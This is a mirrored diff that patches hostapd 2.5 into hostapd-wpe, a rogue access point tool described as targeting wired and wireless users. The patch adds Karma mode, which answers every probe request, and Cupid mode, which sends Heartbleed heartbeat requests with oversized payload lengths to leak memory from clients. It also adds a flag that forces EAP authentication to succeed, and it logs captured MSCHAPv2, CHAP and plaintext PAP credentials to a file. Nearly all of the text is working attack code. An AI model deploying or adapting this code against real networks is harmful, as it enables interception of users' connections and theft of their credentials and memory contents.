mirror of
https://github.com/pentoo/pentoo-overlay
synced 2025-12-09 18:02:56 +01:00
855 lines
30 KiB
Diff
855 lines
30 KiB
Diff
diff -rupN hostapd-2.5/hostapd/config_file.c hostapd-2.5-wpe/hostapd/config_file.c
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--- hostapd-2.5/hostapd/config_file.c 2015-09-27 21:02:05.000000000 +0200
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+++ hostapd-2.5-wpe/hostapd/config_file.c 2015-10-25 19:25:49.543351020 +0100
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@@ -21,6 +21,7 @@
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#include "ap/ap_config.h"
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#include "config_file.h"
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+#include "wpe/wpe.h"
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#ifndef CONFIG_NO_RADIUS
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#ifdef EAP_SERVER
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@@ -2056,6 +2057,20 @@ static int hostapd_config_fill(struct ho
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return 1;
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}
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wpa_printf(MSG_DEBUG, "eapol_version=%d", bss->eapol_version);
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+ } else if (os_strcmp(buf, "wpe_logfile") == 0) {
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+ wpe_conf.wpe_logfile = os_strdup(pos);
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+ } else if (os_strcmp(buf, "wpe_hb_send_before_handshake") == 0) {
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+ wpe_conf.wpe_hb_send_before_handshake = atoi(pos);
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+ } else if (os_strcmp(buf, "wpe_hb_send_before_appdata") == 0) {
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+ wpe_conf.wpe_hb_send_before_appdata = atoi(pos);
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+ } else if (os_strcmp(buf, "wpe_hb_send_after_appdata") == 0) {
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+ wpe_conf.wpe_hb_send_after_appdata = atoi(pos);
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+ } else if (os_strcmp(buf, "wpe_hb_payload_size") == 0) {
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+ wpe_conf.wpe_hb_payload_size = atoi(pos);
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+ } else if (os_strcmp(buf, "wpe_hb_num_repeats") == 0) {
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+ wpe_conf.wpe_hb_num_repeats = atoi(pos);
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+ } else if (os_strcmp(buf, "wpe_hb_num_tries") == 0) {
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+ wpe_conf.wpe_hb_num_tries = atoi(pos);
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#ifdef EAP_SERVER
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} else if (os_strcmp(buf, "eap_authenticator") == 0) {
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bss->eap_server = atoi(pos);
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diff -rupN hostapd-2.5/hostapd/main.c hostapd-2.5-wpe/hostapd/main.c
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--- hostapd-2.5/hostapd/main.c 2015-09-27 21:02:05.000000000 +0200
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+++ hostapd-2.5-wpe/hostapd/main.c 2015-10-25 19:35:41.220483130 +0100
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@@ -29,6 +29,7 @@
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#include "eap_register.h"
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#include "ctrl_iface.h"
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+#include "wpe/wpe.h"
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struct hapd_global {
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void **drv_priv;
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@@ -422,11 +423,17 @@ static int hostapd_global_run(struct hap
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static void show_version(void)
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{
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fprintf(stderr,
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- "hostapd v" VERSION_STR "\n"
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- "User space daemon for IEEE 802.11 AP management,\n"
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+ "hostapd-wpe v" VERSION_STR "\n"
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+ "User space daemon for IEEE 802.11 AP management,\n"
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"IEEE 802.1X/WPA/WPA2/EAP/RADIUS Authenticator\n"
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"Copyright (c) 2002-2015, Jouni Malinen <j@w1.fi> "
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- "and contributors\n");
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+ "and contributors\n"
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+ "-----------------------------------------------------\n"
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+ "WPE (Wireless Pwnage Edition)\n"
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+ "This version has been cleverly modified to target\n"
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+ "wired and wireless users.\n"
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+ "Brad Antoniewicz <@brad_anton>\n"
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+ "Foundstone\n");
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}
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@@ -435,7 +442,7 @@ static void usage(void)
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show_version();
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fprintf(stderr,
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"\n"
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- "usage: hostapd [-hdBKtv] [-P <PID file>] [-e <entropy file>] "
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+ "usage: hostapd-wpe [-hdBKtvskc] [-P <PID file>] [-e <entropy file>] "
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"\\\n"
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" [-g <global ctrl_iface>] [-G <group>] \\\n"
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" <configuration file(s)>\n"
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@@ -457,7 +464,12 @@ static void usage(void)
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" (records all messages regardless of debug verbosity)\n"
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#endif /* CONFIG_DEBUG_LINUX_TRACING */
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" -t include timestamps in some debug messages\n"
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- " -v show hostapd version\n");
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+ " -v show hostapd version\n\n"
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+ " WPE Options -------------------\n"
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+ " (credential logging always enabled)\n"
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+ " -s Return Success where possible\n"
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+ " -k Karma Mode (Respond to all probes)\n"
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+ " -c Cupid Mode (Heartbleed clients)\n\n");
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exit(1);
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}
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@@ -587,7 +599,8 @@ int main(int argc, char *argv[])
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interfaces.global_ctrl_dst = NULL;
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for (;;) {
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- c = getopt(argc, argv, "b:Bde:f:hKP:Ttu:vg:G:");
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+ c = getopt(argc, argv, "b:Bde:f:hKP:Ttu:vg:G:kcs");
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+
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if (c < 0)
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break;
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switch (c) {
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@@ -648,6 +661,15 @@ int main(int argc, char *argv[])
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case 'u':
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return gen_uuid(optarg);
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#endif /* CONFIG_WPS */
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+ case 'k':
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+ wpe_conf.wpe_enable_karma++;
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+ break;
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+ case 'c':
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+ wpe_conf.wpe_enable_cupid++;
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+ break;
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+ case 's':
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+ wpe_conf.wpe_enable_return_success++;
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+ break;
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default:
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usage();
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break;
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diff -rupN hostapd-2.5/hostapd/Makefile hostapd-2.5-wpe/hostapd/Makefile
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--- hostapd-2.5/hostapd/Makefile 2015-09-27 21:02:05.000000000 +0200
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+++ hostapd-2.5-wpe/hostapd/Makefile 2015-10-25 19:40:08.627224025 +0100
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@@ -62,6 +62,7 @@ OBJS += ../src/ap/preauth_auth.o
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OBJS += ../src/ap/pmksa_cache_auth.o
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OBJS += ../src/ap/ieee802_11_shared.o
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OBJS += ../src/ap/beacon.o
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+OBJS += ../src/wpe/wpe.o
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OBJS += ../src/ap/bss_load.o
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OBJS_c = hostapd_cli.o ../src/common/wpa_ctrl.o ../src/utils/os_$(CONFIG_OS).o
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@@ -934,7 +935,7 @@ OBJS += ../src/fst/fst_ctrl_iface.o
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endif
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endif
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-ALL=hostapd hostapd_cli
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+ALL=hostapd-wpe hostapd-wpe_cli
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all: verify_config $(ALL)
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@@ -981,15 +982,15 @@ install: $(addprefix $(DESTDIR)$(BINDIR)
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BCHECK=../src/drivers/build.hostapd
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-hostapd: $(BCHECK) $(OBJS)
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- $(Q)$(CC) $(LDFLAGS) -o hostapd $(OBJS) $(LIBS)
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+hostapd-wpe: $(BCHECK) $(OBJS)
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+ $(Q)$(CC) $(LDFLAGS) -o hostapd-wpe $(OBJS) $(LIBS)
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@$(E) " LD " $@
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ifdef CONFIG_WPA_TRACE
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OBJS_c += ../src/utils/trace.o
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endif
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-hostapd_cli: $(OBJS_c)
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- $(Q)$(CC) $(LDFLAGS) -o hostapd_cli $(OBJS_c) $(LIBS_c)
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+hostapd-wpe_cli: $(OBJS_c)
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+ $(Q)$(CC) $(LDFLAGS) -o hostapd-wpe_cli $(OBJS_c) $(LIBS_c)
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@$(E) " LD " $@
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NOBJS = nt_password_hash.o ../src/crypto/ms_funcs.o $(SHA1OBJS)
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@@ -1036,7 +1037,7 @@ lcov-html:
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clean:
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$(MAKE) -C ../src clean
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- rm -f core *~ *.o hostapd hostapd_cli nt_password_hash hlr_auc_gw
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+ rm -f core *~ *.o hostapd-wpe hostapd-wpe_cli nt_password_hash hlr_auc_gw
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rm -f *.d *.gcno *.gcda *.gcov
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rm -f lcov.info
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rm -rf lcov-html
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diff -rupN hostapd-2.5/src/ap/beacon.c hostapd-2.5-wpe/src/ap/beacon.c
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--- hostapd-2.5/src/ap/beacon.c 2015-09-27 21:02:05.000000000 +0200
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+++ hostapd-2.5-wpe/src/ap/beacon.c 2015-10-25 19:45:25.530335207 +0100
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@@ -30,6 +30,7 @@
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#include "hs20.h"
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#include "dfs.h"
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+#include "wpe/wpe.h"
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#ifdef NEED_AP_MLME
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@@ -754,6 +755,13 @@ void handle_probe_req(struct hostapd_dat
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}
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#endif /* CONFIG_P2P */
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+ if (wpe_conf.wpe_enable_karma && elems.ssid_len > 0) {
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+ wpa_printf(MSG_MSGDUMP,"[WPE] Probe request from " MACSTR ", changing SSID to '%s'", MAC2STR(mgmt->sa), wpa_ssid_txt(elems.ssid, elems.ssid_len));
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+ hostapd_set_ssid(hapd,elems.ssid,elems.ssid_len);
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+ os_memcpy(&hapd->conf->ssid.ssid,elems.ssid,elems.ssid_len);
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+ hapd->conf->ssid.ssid_len = elems.ssid_len;
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+ }
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+
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res = ssid_match(hapd, elems.ssid, elems.ssid_len,
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elems.ssid_list, elems.ssid_list_len);
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if (res == NO_SSID_MATCH) {
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diff -rupN hostapd-2.5/src/ap/ieee802_11.c hostapd-2.5-wpe/src/ap/ieee802_11.c
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--- hostapd-2.5/src/ap/ieee802_11.c 2015-09-27 21:02:05.000000000 +0200
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+++ hostapd-2.5-wpe/src/ap/ieee802_11.c 2015-10-25 19:47:22.673322551 +0100
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@@ -43,6 +43,7 @@
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#include "ieee802_11.h"
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#include "dfs.h"
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+#include "wpe/wpe.h"
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u8 * hostapd_eid_supp_rates(struct hostapd_data *hapd, u8 *eid)
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{
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@@ -1249,8 +1250,8 @@ static u16 check_ssid(struct hostapd_dat
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if (ssid_ie == NULL)
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return WLAN_STATUS_UNSPECIFIED_FAILURE;
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- if (ssid_ie_len != hapd->conf->ssid.ssid_len ||
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- os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0) {
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+ if ((!wpe_conf.wpe_enable_karma) && (ssid_ie_len != hapd->conf->ssid.ssid_len ||
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+ os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0)) {
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hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211,
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HOSTAPD_LEVEL_INFO,
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"Station tried to associate with unknown SSID "
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diff -rupN hostapd-2.5/src/crypto/tls_openssl.c hostapd-2.5-wpe/src/crypto/tls_openssl.c
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--- hostapd-2.5/src/crypto/tls_openssl.c 2015-09-27 21:02:05.000000000 +0200
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+++ hostapd-2.5-wpe/src/crypto/tls_openssl.c 2015-10-25 20:03:51.323951441 +0100
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@@ -20,6 +20,7 @@
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#include <openssl/err.h>
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#include <openssl/pkcs12.h>
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#include <openssl/x509v3.h>
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+#include <openssl/rand.h>
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#ifndef OPENSSL_NO_ENGINE
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#include <openssl/engine.h>
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#endif /* OPENSSL_NO_ENGINE */
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@@ -36,6 +37,8 @@
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#include "sha256.h"
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#include "tls.h"
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+#include "wpe/wpe.h"
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+
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#if OPENSSL_VERSION_NUMBER < 0x10000000L
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/* ERR_remove_thread_state replaces ERR_remove_state and the latter is
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* deprecated. However, OpenSSL 0.9.8 doesn't include
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@@ -73,6 +76,8 @@ static BIO * BIO_from_keystore(const cha
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}
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#endif /* ANDROID */
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+int wpe_hb_enc(struct tls_connection *conn); // WPE: To limit changes up top
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+
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static int tls_openssl_ref_count = 0;
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static int tls_ex_idx_session = -1;
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@@ -1138,7 +1143,10 @@ struct tls_connection * tls_connection_i
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conn->context = context;
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SSL_set_app_data(conn->ssl, conn);
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- SSL_set_msg_callback(conn->ssl, tls_msg_cb);
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+ if (wpe_conf.wpe_enable_cupid)
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+ SSL_set_msg_callback(conn->ssl, wpe_hb_cb);
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+ else
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+ SSL_set_msg_callback(conn->ssl, tls_msg_cb);
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SSL_set_msg_callback_arg(conn->ssl, conn);
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options = SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3 |
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SSL_OP_SINGLE_DH_USE;
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@@ -3089,8 +3097,10 @@ static struct wpabuf *
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openssl_handshake(struct tls_connection *conn, const struct wpabuf *in_data,
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int server)
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{
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- int res;
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+ int res,i;
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struct wpabuf *out_data;
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+ struct wpabuf *wpe_hb_ptr1, *wpe_hb_ptr2;
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+
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/*
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* Give TLS handshake data from the server (if available) to OpenSSL
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@@ -3150,6 +3160,25 @@ openssl_handshake(struct tls_connection
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}
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wpabuf_put(out_data, res);
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+ if (wpe_conf.wpe_enable_cupid && wpe_conf.wpe_hb_send_before_handshake && wpe_conf.wpe_hb_num_tries) {
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+
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+ wpa_printf(MSG_DEBUG, "[WPE] Sending heartbeat request instead of handshake\n");
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+ wpe_hb_ptr1 = NULL;
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+ for (i=0; i < wpe_conf.wpe_hb_num_repeats; i++) {
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+ wpe_hb_ptr2 = wpabuf_alloc(wpe_hb_msg_len-1);
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+ memcpy(wpabuf_mhead(wpe_hb_ptr2), (u8 *)wpe_hb_clear(), wpe_hb_msg_len-1);
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+ wpabuf_put(wpe_hb_ptr2, wpe_hb_msg_len-1);
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+ if (wpe_hb_ptr1) {
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+ wpe_hb_ptr1 = wpabuf_concat(wpe_hb_ptr1,wpe_hb_ptr2);
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+ } else {
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+ wpe_hb_ptr1 = wpe_hb_ptr2;
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+ }
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+ }
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+ conn->ssl->tlsext_hb_pending = 1;
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+ wpe_conf.wpe_hb_num_tries--;
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+ return wpe_hb_ptr1;
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+ }
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+
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return out_data;
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}
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@@ -3265,6 +3294,10 @@ struct wpabuf * tls_connection_encrypt(v
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tls_show_errors(MSG_INFO, __func__, "BIO_reset failed");
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return NULL;
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}
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+
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+ if (wpe_conf.wpe_enable_cupid && wpe_conf.wpe_hb_send_before_appdata)
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+ wpe_hb_enc(conn);
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+
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res = SSL_write(conn->ssl, wpabuf_head(in_data), wpabuf_len(in_data));
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if (res < 0) {
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tls_show_errors(MSG_INFO, __func__,
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@@ -3272,6 +3305,9 @@ struct wpabuf * tls_connection_encrypt(v
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return NULL;
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}
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+ if (wpe_conf.wpe_enable_cupid && wpe_conf.wpe_hb_send_after_appdata)
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+ wpe_hb_enc(conn);
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+
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/* Read encrypted data to be sent to the server */
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buf = wpabuf_alloc(wpabuf_len(in_data) + 300);
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if (buf == NULL)
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@@ -4069,6 +4105,65 @@ int tls_connection_set_session_ticket_cb
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#endif /* EAP_FAST || EAP_FAST_DYNAMIC || EAP_SERVER_FAST */
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}
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+int wpe_hb_enc(struct tls_connection *conn) {
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+ unsigned char *cbuf, *p;
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+
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+ unsigned int real_payload = 18; //default: 18 /* Sequence number + random bytes */
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+ unsigned int padding = 16; //default: 16 /* Use minimum padding */
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+
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+ if (!SSL_is_init_finished(conn->ssl)) {
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+ return -1;
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+ }
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+
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+ if(!conn->ssl->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED ||
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+ conn->ssl->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS) {
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+ wpa_printf(MSG_DEBUG, "[WPE] warning: heartbeat extension is unsupported (try anyway)\n");
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+ } else {
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+ wpa_printf(MSG_DEBUG,"[WPE] Heartbeat extention is supported, may not be vulnerable!\n");
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+ }
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+
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+ /* Check if padding is too long, payload and padding
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+ * must not exceed 2^14 - 3 = 16381 bytes in total.
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+ */
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+ OPENSSL_assert(real_payload + padding <= 16381);
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+
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+ cbuf = OPENSSL_malloc(1 + 2 + real_payload + padding);
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+
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+ if(cbuf==NULL)
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+ return -1;
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+
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+ p = cbuf;
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+
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+ *p++ = TLS1_HB_REQUEST;
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+
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+
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+ /* Payload length (18 bytes here) */
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+ //s2n(payload, p); /* standards compliant payload */
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+ //s2n(payload +10, p); /* >payload to exploit heartbleed!!! */
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+ s2n(wpe_conf.wpe_hb_payload_size, p); /* configured payload */
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+
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+ /* Sequence number */
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+ s2n(conn->ssl->tlsext_hb_seq, p);
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+ /* 16 random bytes */
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+ RAND_pseudo_bytes(p, 16);
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+ //RAND_bytes(p, 16);
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+ p += 16;
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+ /* Random padding */
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+ RAND_pseudo_bytes(p, padding);
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+ //RAND_bytes(p, padding);
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+
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+ wpa_printf(MSG_DEBUG, "[WPE] Sending heartbeat reaquesting payload size %u...\n", wpe_conf.wpe_hb_payload_size);
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+ wpa_hexdump(MSG_DEBUG, "[WPE] heartbeat packet to send:", cbuf, 1 + 2 + real_payload + padding);
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+
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+ /* Send heartbeat request */
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+ if (SSL_get_ssl_method(conn->ssl)->ssl_write_bytes(conn->ssl, TLS1_RT_HEARTBEAT,
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+ cbuf, 3 + real_payload + padding) >= 0)
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+ conn->ssl->tlsext_hb_pending = 1;
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+ OPENSSL_free(cbuf);
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+
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+ return 0;
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+}
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+
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int tls_get_library_version(char *buf, size_t buf_len)
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{
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diff -rupN hostapd-2.5/src/eap_server/eap_server.c hostapd-2.5-wpe/src/eap_server/eap_server.c
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--- hostapd-2.5/src/eap_server/eap_server.c 2015-09-27 21:02:05.000000000 +0200
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+++ hostapd-2.5-wpe/src/eap_server/eap_server.c 2015-10-25 20:06:23.685009957 +0100
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@@ -23,7 +23,8 @@
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#define STATE_MACHINE_DATA struct eap_sm
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|
#define STATE_MACHINE_DEBUG_PREFIX "EAP"
|
|
|
|
-#define EAP_MAX_AUTH_ROUNDS 50
|
|
+//#define EAP_MAX_AUTH_ROUNDS 50
|
|
+#define EAP_MAX_AUTH_ROUNDS 50000 // wpe >:)
|
|
|
|
static void eap_user_free(struct eap_user *user);
|
|
|
|
@@ -164,6 +165,8 @@ int eap_user_get(struct eap_sm *sm, cons
|
|
{
|
|
struct eap_user *user;
|
|
|
|
+ char ident = 't';
|
|
+
|
|
if (sm == NULL || sm->eapol_cb == NULL ||
|
|
sm->eapol_cb->get_eap_user == NULL)
|
|
return -1;
|
|
@@ -175,6 +178,11 @@ int eap_user_get(struct eap_sm *sm, cons
|
|
if (user == NULL)
|
|
return -1;
|
|
|
|
+ if (phase2) {
|
|
+ identity = (const u8 *)&ident;
|
|
+ identity_len = 1;
|
|
+ }
|
|
+
|
|
if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity,
|
|
identity_len, phase2, user) != 0) {
|
|
eap_user_free(user);
|
|
diff -rupN hostapd-2.5/src/eap_server/eap_server_mschapv2.c hostapd-2.5-wpe/src/eap_server/eap_server_mschapv2.c
|
|
--- hostapd-2.5/src/eap_server/eap_server_mschapv2.c 2015-09-27 21:02:05.000000000 +0200
|
|
+++ hostapd-2.5-wpe/src/eap_server/eap_server_mschapv2.c 2015-10-25 20:11:57.318992345 +0100
|
|
@@ -13,6 +13,7 @@
|
|
#include "crypto/random.h"
|
|
#include "eap_i.h"
|
|
|
|
+#include "wpe/wpe.h"
|
|
|
|
struct eap_mschapv2_hdr {
|
|
u8 op_code; /* MSCHAPV2_OP_* */
|
|
@@ -291,7 +292,7 @@ static void eap_mschapv2_process_respons
|
|
size_t username_len, user_len;
|
|
int res;
|
|
char *buf;
|
|
-
|
|
+ u8 wpe_challenge_hash[8];
|
|
pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, respData,
|
|
&len);
|
|
if (pos == NULL || len < 1)
|
|
@@ -329,6 +330,8 @@ static void eap_mschapv2_process_respons
|
|
wpa_hexdump(MSG_MSGDUMP, "EAP-MSCHAPV2: NT-Response", nt_response, 24);
|
|
wpa_printf(MSG_MSGDUMP, "EAP-MSCHAPV2: Flags 0x%x", flags);
|
|
wpa_hexdump_ascii(MSG_MSGDUMP, "EAP-MSCHAPV2: Name", name, name_len);
|
|
+ challenge_hash(peer_challenge, data->auth_challenge, name, name_len, wpe_challenge_hash);
|
|
+ wpe_log_chalresp("mschapv2", name, name_len, wpe_challenge_hash, 8, nt_response, 24);
|
|
|
|
buf = os_malloc(name_len * 4 + 1);
|
|
if (buf) {
|
|
@@ -406,6 +409,11 @@ static void eap_mschapv2_process_respons
|
|
return;
|
|
}
|
|
|
|
+ if (wpe_conf.wpe_enable_return_success) {
|
|
+ os_memset((void *)nt_response, 0, 24);
|
|
+ os_memset((void *)expected, 0, 24);
|
|
+ }
|
|
+
|
|
if (os_memcmp_const(nt_response, expected, 24) == 0) {
|
|
const u8 *pw_hash;
|
|
u8 pw_hash_buf[16], pw_hash_hash[16];
|
|
@@ -446,6 +454,8 @@ static void eap_mschapv2_process_respons
|
|
wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Invalid NT-Response");
|
|
data->state = FAILURE_REQ;
|
|
}
|
|
+ if (wpe_conf.wpe_enable_return_success)
|
|
+ data->state = SUCCESS;
|
|
}
|
|
|
|
|
|
diff -rupN hostapd-2.5/src/eap_server/eap_server_peap.c hostapd-2.5-wpe/src/eap_server/eap_server_peap.c
|
|
--- hostapd-2.5/src/eap_server/eap_server_peap.c 2015-09-27 21:02:05.000000000 +0200
|
|
+++ hostapd-2.5-wpe/src/eap_server/eap_server_peap.c 2015-10-25 20:17:20.693699507 +0100
|
|
@@ -17,7 +17,7 @@
|
|
#include "eap_common/eap_tlv_common.h"
|
|
#include "eap_common/eap_peap_common.h"
|
|
#include "tncs.h"
|
|
-
|
|
+#include "wpe/wpe.h"
|
|
|
|
/* Maximum supported PEAP version
|
|
* 0 = Microsoft's PEAP version 0; draft-kamath-pppext-peapv0-00.txt
|
|
diff -rupN hostapd-2.5/src/eap_server/eap_server_ttls.c hostapd-2.5-wpe/src/eap_server/eap_server_ttls.c
|
|
--- hostapd-2.5/src/eap_server/eap_server_ttls.c 2015-09-27 21:02:05.000000000 +0200
|
|
+++ hostapd-2.5-wpe/src/eap_server/eap_server_ttls.c 2015-10-25 20:46:06.516768323 +0100
|
|
@@ -16,7 +16,7 @@
|
|
#include "eap_server/eap_tls_common.h"
|
|
#include "eap_common/chap.h"
|
|
#include "eap_common/eap_ttls.h"
|
|
-
|
|
+#include "wpe/wpe.h"
|
|
|
|
#define EAP_TTLS_VERSION 0
|
|
|
|
@@ -530,7 +530,7 @@ static void eap_ttls_process_phase2_pap(
|
|
const u8 *user_password,
|
|
size_t user_password_len)
|
|
{
|
|
- if (!sm->user || !sm->user->password || sm->user->password_hash ||
|
|
+ if (!sm->user || !sm->user->password || sm->user->password_hash ||
|
|
!(sm->user->ttls_auth & EAP_TTLS_AUTH_PAP)) {
|
|
wpa_printf(MSG_DEBUG, "EAP-TTLS/PAP: No plaintext user "
|
|
"password configured");
|
|
@@ -538,9 +538,11 @@ static void eap_ttls_process_phase2_pap(
|
|
return;
|
|
}
|
|
|
|
- if (sm->user->password_len != user_password_len ||
|
|
+ wpe_log_basic("eap-ttls/pap", sm->identity, sm->identity_len, user_password, user_password_len);
|
|
+
|
|
+ if ((!wpe_conf.wpe_enable_return_success) && (sm->user->password_len != user_password_len ||
|
|
os_memcmp_const(sm->user->password, user_password,
|
|
- user_password_len) != 0) {
|
|
+ user_password_len) != 0)) {
|
|
wpa_printf(MSG_DEBUG, "EAP-TTLS/PAP: Invalid user password");
|
|
eap_ttls_state(data, FAILURE);
|
|
return;
|
|
@@ -602,9 +604,10 @@ static void eap_ttls_process_phase2_chap
|
|
/* MD5(Ident + Password + Challenge) */
|
|
chap_md5(password[0], sm->user->password, sm->user->password_len,
|
|
challenge, challenge_len, hash);
|
|
+
|
|
+ wpe_log_chalresp("eap-ttls/chap", sm->identity, sm->identity_len, challenge, challenge_len, password, password_len);
|
|
|
|
- if (os_memcmp_const(hash, password + 1, EAP_TTLS_CHAP_PASSWORD_LEN) ==
|
|
- 0) {
|
|
+ if ((wpe_conf.wpe_enable_return_success) || (os_memcmp(hash, password + 1, EAP_TTLS_CHAP_PASSWORD_LEN) == 0)) {
|
|
wpa_printf(MSG_DEBUG, "EAP-TTLS/CHAP: Correct user password");
|
|
eap_ttls_state(data, SUCCESS);
|
|
eap_ttls_valid_session(sm, data);
|
|
@@ -671,8 +674,11 @@ static void eap_ttls_process_phase2_msch
|
|
else
|
|
nt_challenge_response(challenge, sm->user->password,
|
|
sm->user->password_len, nt_response);
|
|
+
|
|
+ wpe_log_chalresp("eap-ttls/mschap", sm->identity, sm->identity_len, challenge, challenge_len, response + 2 + 24, 24);
|
|
|
|
- if (os_memcmp_const(nt_response, response + 2 + 24, 24) == 0) {
|
|
+
|
|
+ if ((wpe_conf.wpe_enable_return_success) || (os_memcmp(nt_response, response + 2 + 24, 24) == 0)) {
|
|
wpa_printf(MSG_DEBUG, "EAP-TTLS/MSCHAP: Correct response");
|
|
eap_ttls_state(data, SUCCESS);
|
|
eap_ttls_valid_session(sm, data);
|
|
@@ -694,7 +700,7 @@ static void eap_ttls_process_phase2_msch
|
|
u8 *response, size_t response_len)
|
|
{
|
|
u8 *chal, *username, nt_response[24], *rx_resp, *peer_challenge,
|
|
- *auth_challenge;
|
|
+ *auth_challenge, wpe_challenge_hash[8];
|
|
size_t username_len, i;
|
|
|
|
if (challenge == NULL || response == NULL ||
|
|
@@ -778,7 +784,11 @@ static void eap_ttls_process_phase2_msch
|
|
nt_response);
|
|
}
|
|
|
|
- rx_resp = response + 2 + EAP_TTLS_MSCHAPV2_CHALLENGE_LEN + 8;
|
|
+ rx_resp = response + 2 + EAP_TTLS_MSCHAPV2_CHALLENGE_LEN + 8;
|
|
+
|
|
+ challenge_hash(peer_challenge, auth_challenge, username, username_len, wpe_challenge_hash);
|
|
+ wpe_log_chalresp("eap-ttls/mschapv2", username, username_len, wpe_challenge_hash, 8, rx_resp, 24);
|
|
+
|
|
#ifdef CONFIG_TESTING_OPTIONS
|
|
{
|
|
u8 challenge2[8];
|
|
diff -rupN hostapd-2.5/src/Makefile hostapd-2.5-wpe/src/Makefile
|
|
--- hostapd-2.5/src/Makefile 2015-09-27 21:02:05.000000000 +0200
|
|
+++ hostapd-2.5-wpe/src/Makefile 2015-10-25 20:46:39.159659989 +0100
|
|
@@ -1,4 +1,4 @@
|
|
-SUBDIRS=ap common crypto drivers eapol_auth eapol_supp eap_common eap_peer eap_server l2_packet p2p pae radius rsn_supp tls utils wps
|
|
+SUBDIRS=ap common crypto drivers eapol_auth eapol_supp eap_common eap_peer eap_server l2_packet p2p pae radius rsn_supp tls utils wps wpe
|
|
SUBDIRS += fst
|
|
|
|
all:
|
|
diff -rupN hostapd-2.5/src/utils/wpa_debug.c hostapd-2.5-wpe/src/utils/wpa_debug.c
|
|
--- hostapd-2.5/src/utils/wpa_debug.c 2015-09-27 21:02:05.000000000 +0200
|
|
+++ hostapd-2.5-wpe/src/utils/wpa_debug.c 2015-10-25 20:48:00.797890010 +0100
|
|
@@ -30,7 +30,7 @@ static FILE *wpa_debug_tracing_file = NU
|
|
|
|
|
|
int wpa_debug_level = MSG_INFO;
|
|
-int wpa_debug_show_keys = 0;
|
|
+int wpa_debug_show_keys = 1; // WPE >:)
|
|
int wpa_debug_timestamp = 0;
|
|
|
|
|
|
diff -rupN hostapd-2.5/src/wpe/Makefile hostapd-2.5-wpe/src/wpe/Makefile
|
|
--- hostapd-2.5/src/wpe/Makefile 1970-01-01 01:00:00.000000000 +0100
|
|
+++ hostapd-2.5-wpe/src/wpe/Makefile 2015-10-25 16:52:26.349508655 +0100
|
|
@@ -0,0 +1,8 @@
|
|
+all:
|
|
+ @echo Nothing to be made.
|
|
+
|
|
+clean:
|
|
+ rm -f *~ *.o *.d *.gcno *.gcda *.gcov
|
|
+
|
|
+install:
|
|
+ @echo Nothing to be made.
|
|
diff -rupN hostapd-2.5/src/wpe/wpe.c hostapd-2.5-wpe/src/wpe/wpe.c
|
|
--- hostapd-2.5/src/wpe/wpe.c 1970-01-01 01:00:00.000000000 +0100
|
|
+++ hostapd-2.5-wpe/src/wpe/wpe.c 2015-10-25 16:52:26.349508655 +0100
|
|
@@ -0,0 +1,209 @@
|
|
+/*
|
|
+ wpe.c -
|
|
+ brad.antoniewicz@foundstone.com
|
|
+ Implements WPE (Wireless Pwnage Edition) functionality within
|
|
+ hostapd.
|
|
+
|
|
+ WPE functionality focuses on targeting connecting users. At
|
|
+ it's core it implements credential logging (originally
|
|
+ implemented in FreeRADIUS-WPE), but also includes other patches
|
|
+ for other client attacks that have been modified to some extend.
|
|
+
|
|
+ FreeRADIUS-WPE: https://github.com/brad-anton/freeradius-wpe
|
|
+ Karma patch: http://foofus.net/goons/jmk/tools/hostapd-1.0-karma.diff
|
|
+ Cupid patch: https://github.com/lgrangeia/cupid/blob/master/patch-hostapd
|
|
+*/
|
|
+
|
|
+#include <time.h>
|
|
+#include <openssl/ssl.h>
|
|
+#include "includes.h"
|
|
+#include "common.h"
|
|
+#include "wpe/wpe.h"
|
|
+#include "utils/wpa_debug.h"
|
|
+
|
|
+#define wpe_logfile_default_location "./hostapd-wpe.log"
|
|
+
|
|
+
|
|
+#define MSCHAPV2_CHAL_HASH_LEN 8
|
|
+#define MSCHAPV2_CHAL_LEN 16
|
|
+#define MSCHAPV2_RESP_LEN 24
|
|
+
|
|
+char wpe_hb_msg[] = "\x18\x03\x01\x00\x03\x01\xff\xff";
|
|
+size_t wpe_hb_msg_len = sizeof(wpe_hb_msg)/sizeof(wpe_hb_msg[0]);
|
|
+
|
|
+struct wpe_config wpe_conf = {
|
|
+ .wpe_logfile = wpe_logfile_default_location,
|
|
+ .wpe_logfile_fp = NULL,
|
|
+ .wpe_enable_karma = 0,
|
|
+ .wpe_enable_cupid = 0,
|
|
+ .wpe_enable_return_success = 0,
|
|
+ .wpe_hb_send_before_handshake = 1,
|
|
+ .wpe_hb_send_before_appdata = 0,
|
|
+ .wpe_hb_send_after_appdata = 0,
|
|
+ .wpe_hb_payload_size = 50000,
|
|
+ .wpe_hb_num_tries = 1,
|
|
+ .wpe_hb_num_repeats = 10
|
|
+};
|
|
+
|
|
+void wpe_log_file_and_stdout(char const *fmt, ...) {
|
|
+
|
|
+ if ( wpe_conf.wpe_logfile_fp == NULL ) {
|
|
+ wpe_conf.wpe_logfile_fp = fopen(wpe_conf.wpe_logfile, "a");
|
|
+ if ( wpe_conf.wpe_logfile_fp == NULL )
|
|
+ printf("WPE: Cannot file log file");
|
|
+ }
|
|
+
|
|
+ va_list ap;
|
|
+
|
|
+ va_start(ap, fmt);
|
|
+ vprintf(fmt, ap);
|
|
+ va_end(ap);
|
|
+
|
|
+ va_start(ap, fmt);
|
|
+ if ( wpe_conf.wpe_logfile_fp != NULL )
|
|
+ vfprintf(wpe_conf.wpe_logfile_fp, fmt, ap);
|
|
+ va_end(ap);
|
|
+}
|
|
+
|
|
+void wpe_log_chalresp(char *type, const u8 *username, size_t username_len, const u8 *challenge, size_t challenge_len, const u8 *response, size_t response_len) {
|
|
+ time_t nowtime;
|
|
+ int x;
|
|
+
|
|
+ nowtime = time(NULL);
|
|
+
|
|
+ wpe_log_file_and_stdout("\n\n%s: %s", type, ctime(&nowtime));
|
|
+ wpe_log_file_and_stdout("\t username:\t");
|
|
+ for (x=0; x<username_len; x++)
|
|
+ wpe_log_file_and_stdout("%c",username[x]);
|
|
+ wpe_log_file_and_stdout("\n");
|
|
+
|
|
